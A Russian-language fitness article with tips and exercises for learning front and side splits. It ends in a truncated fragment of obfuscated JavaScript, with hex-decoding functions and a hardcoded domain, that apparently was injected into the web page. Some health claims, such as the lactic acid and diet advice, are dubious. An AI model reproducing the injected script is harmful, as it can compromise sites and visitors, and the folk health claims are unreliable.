В статье приведены советы, как быстро и без травм сесть на шпагат.
Шпагат — это красиво. Кроме того, умение садится на шпагат — это показатель гибкости и спортивности.
Каждый человек имеет различные возможности в растяжке. Это зависит от строение костной системы, выворотности суставов и способности мышц и связок к растягиванию.
Одни быстро и в кратчайшие сроки садятся на шпагат, а другим требуются месяцы тренировок.
Дети до 10 лет имеют мягкие мышцы и связки, поэтому сесть на шпагат в юном возрасте проще. Чем старше становится человек, тем сложнее ему сесть на шпагат.
Но нет ничего невозможно!
При усердных тренировках абсолютно любой сможет покорить шпагат.
Шпагат — как быстро сесть на шпагат?
- Шпагат — это распространенное упражнение в гимнастике и различных видах хореографии (современной и классической). Основное условие шпагата — разведение ног на 180 градусов. Шпагат бывает продольным и поперечным
- Необходим шпагат для того, чтобы уменьшить травмоопасность при выполнении всевозможных движений и па. Даже, если вы не занимаетесь танцами или гимнастикой, шпагат поможет вашим сухожилиям быть пластичнее
- Не все могут сесть на шпагат. Это обусловлено тем, что у человека плохая выворотность тазобедренных суставов
- Шпагат имеет противопоказание. Нельзя растягиваться, если боли в спине, трещины в костях, проблемы с суставами или высокое давление
- Сесть быстро на шпагат невозможно. У каждого свои рамки — от двух недель до нескольких месяцев. Быстро сесть на шпагат может быть чревато разрывом мышечных тканей
- Чтобы сесть на шпагат необходимы регулярные тренировки. Если есть возможность растягиваться ежедневно — это увеличит шансы сесть на шпагат быстро
- Как правило, садится на продольный шпагат проще, чем на поперечный. Но бывают и исключения
- Чтобы сесть на шпагат мало иметь хорошую растяжку ног, нужно иметь хорошую растяжку поясницы, ступней и икр. Поэтому растягивайтесь комплексно.
Как сесть на шпагат
Продольный и поперечный шпагат — фото
Продольный шпагат
Поперечный шпагат
Шпагат за день — быстро и правильно
- Чтобы у вас была возможность сесть на шпагат, занимайтесь ежедневно. Хотя бы 20 минут в день уделяйте растяжке
- Начните растяжку с разминки и проработки суставов, это поможет избежать травм
- Чтобы растяжка проходила безболезненно, хорошо разогрейте мышцы. Некоторые способы: махи ногами, бег, прыжки на скакалке
- Растяжка должна приносить приятную, тянущую боль. Если вы ощущаете сильное жжение, резь и нетерпимую боль, нагрузку нужно уменьшить
- Растяжка на шпагат требует постепенного подхода. Вы должны задерживаться в каждом упражнении от 30 секунд до 5 минут
- Посещайте коллективные занятия йоги или стретчинга. Там вас научат правильно садится на шпагат, без вреда для здоровья.
Продольный шпагат
Упражнения для шпагата — самостоятельно научиться шпагату, инструкция
- Начинайте тренировку с разогрева. Сделайте круговые движения всеми суставами на ногах: ступнях, коленях, тазобедренных суставах. Вы должны ощутить легкое напряжение в мышцах
- Разогрейте мышцы. Начните с 20 приседаний. Приседайте как можно глубже, чтобы чувствовать напряжение мышц. Колени не должны выступать за пальцы ног во время приседания. Затем сделайте махи ногами: вперед, вбок и назад. В каждую сторону — минимум по 10 раз
- Если есть возможность, займитесь бегом. Это один из лучших способов разогреть мышцы ног
- После разогрева можно приступить к растяжке. Начинать стоит с растягивания задней поверхности бедра. Для этого поставьте ноги на ширину плеч, наклоните корпус максимально низко. Корпус тела должен быть максимально расслаблен, постарайтесь прикоснуться ладонями к полу. Почувствуйте натяжение мышц и задержитесь в этой позе на минуту
- Затем сделайте наклоны к каждой ноге. По 5 — 10 наклонов, при которых чувствуете натяжение
- Растяните мышцы икр. Выставите ногу назад, облокотившись об опору. Не искривляйте ступню
- Следующее упражнение сделаем сидя. Одну ногу следует подогнуть, а вторую вытянуть. Между ногами должен образоваться угол 90 градусов. Наклоняемся к ноге несколько раз, а потом фиксируем позу на минуту. Делаем данное упражнение на каждую ногу
- Такое упражнение, как «жабка» поможет разработать выворотность. Лягте на пол животом вниз, подогните колени и сведите ступни вместе. Вы почувствуете боль, и это нормально. Расслабьтесь и полежите в такой позе несколько минут
- Чтобы растянуться на поперечный шпагат, расставьте ноги насколько возможно. Теперь наклоняйтесь вперед, чувствуя натяжение мышц
- После всех упражнений необходим небольшой отдых
- Если упражнения даются легко, начинайте садится на шпагат. Первое время между полом и ногами будет расстояние, но со временем оно исчезнет.
Упражнения для растяжки ног
Шпагат в домашних условиях — как правильно садиться?
Все перечисленные упражнения можно легко делать в домашних условиях. Не спешите и делайте упражнения регулярно, не пропуская ни одного. Растяжка может быть отличным способом расслабится после тяжелого дня. После нее уменьшается нагрузка на мышцы ног, вы чувствуете легкость и окрыленность.
Шпагат в домашних условиях
Домашняя растяжка — как сесть на продольный и поперечный шпагат?
- Дома тяжелее дисциплинировать себя. Поэтому посещайте хотя бы 2 раза в неделю групповые занятия
- Есть несколько простых упражнений, которые можно делать одновременно с другими делами (например, с просмотром телевизора или чтением книги)
- Для упражнения понадобится широкая стена. Лягте спиной на пол и обоприте ноги о стену. Крепко прижмите таз к стене и разведите ноги в стороны. Ежедневно лежите в такой позе 15 минут. Это идеальное упражнение, чтобы сесть на поперечный шпагат
- Разнообразьте свои упражнения. Базовые упражнения необходимо выполнять ежедневно. Но иногда выполняйте новые упражнения, которые задействуют совершенно иные группы мышц
- Прислушивайтесь к ощущениям своего тела. Те упражнения, которые даются тяжелее нужно выполнять чаще и дольше.
Как сесть на шпагат без подготовки? — Практические советы
- Если вы в детстве занимались гимнастикой, танцами или другим спортом, где присутствовала растяжка, сесть на шпагат будет проще. У человека существует так называемая «мышечная память»
- Ваше питание очень влияет на способность мышц к растяжению. Уменьшите потребление соли и мясных продуктов, чтобы растяжка давалась проще. Также, пейте больше чистой воды
- Существует несколько секретов от спортсменов, которые помогут достигнуть невообразимых результатов в растяжке. Самое важное — это разогреть мышцы. Не всегда физические упражнения способны справится с этим. Поможет разогреть мышцы принятие горячей ванны. Также, спортсмены используют специальные разогревающие мази, которые воздействуют на мышцы
- Из-за физиологических причин установлено, что во время критических дней у женщин более пластичны мышцы. Учитывая, что тяжелыми нагрузками нельзя заниматься в эти дни, уделите время на спокойную растяжку
- Не торопитесь, и все обязательно получится. Главное не пропускайте тренировок и результат не заставит себя ждать!
Шпагат для начинающих
Села на шпагат, болят мышцы — что делать?
- Если вы впервые занимаетесь растяжкой вас может смутить боль в мышцах. Особенно остро она ощущается на следующий день после упражнений
- Не нужно пугаться, такая боль естественна при физических нагрузках. Возникает она из-за выделения молочной кислоты в мышцы. Чем дольше вы будете заниматься, тем реже вас будут посещать боли
- Мнения экспертов расходится по поводу того, допустимы ли дальнейшие занятия во время болевых ощущений. Некоторые акцентируют внимание, что занятия помогут разогнать молочную кислоту и на следующий день боль исчезнет. Можете просто уменьшить нагрузку, но занятие не отменять
- Чтобы облегчить болевые ощущения примите горячую ванну. Еще один способ — купит мазь от растяжений и намазать больные мышцы.
Как сесть на шпагат за 10 минут?
Есть такая шутка, что сесть на шпагат за 10 минут можно только от испуга или на льду.
В любом случае геройствовать не стоит. Зато ежедневные 10 минутные тренировки приведут к желанному шпагату
- 10 минут мало для полноценной растяжки, поэтому процесс может затянуться на несколько месяцев
- Альтернативный вариант — занятие по растяжке в специальной группе (они длятся около часа) 3 раза в неделю
- Остальные дни — 10 минутные самостоятельные тренировки. Этот вариант также эффективен, как ежедневные длительные тренировки
- В отведенных 10 минут уделите время всем мышца. Особенно «проблемные» оставьте в фиксированном натяжении на пару минут.
Быстро сесть на шпагат
Растяжка для начинающих, шпагат для начинающих — советы и отзывы
- Регулярные занятия — залог успеха
- Не переусердствуйте. Не терпите слишком сильную боль. Но и понять, что без болевых ощущений растяжка не происходит вы обязаны
- Делайте полный комплекс упражнений, растягивая все мышцы ног. По мере необходимости добавляйте новые упражнения
- Не забывайте делать разминку и разогревать мышцы
- Боль в мышцах после растяжки — обычное явление. Не позволяйте ей нарушить ваши планы
- Правильно питайтесь, уменьшите количество потребляемой соли и пейте много воды
- Чаще проводите медленную растяжку. Резкие движения, особенно на не разогретые связки, опасны.
Растяжка на шпагат — видео
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «babyben.ru»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e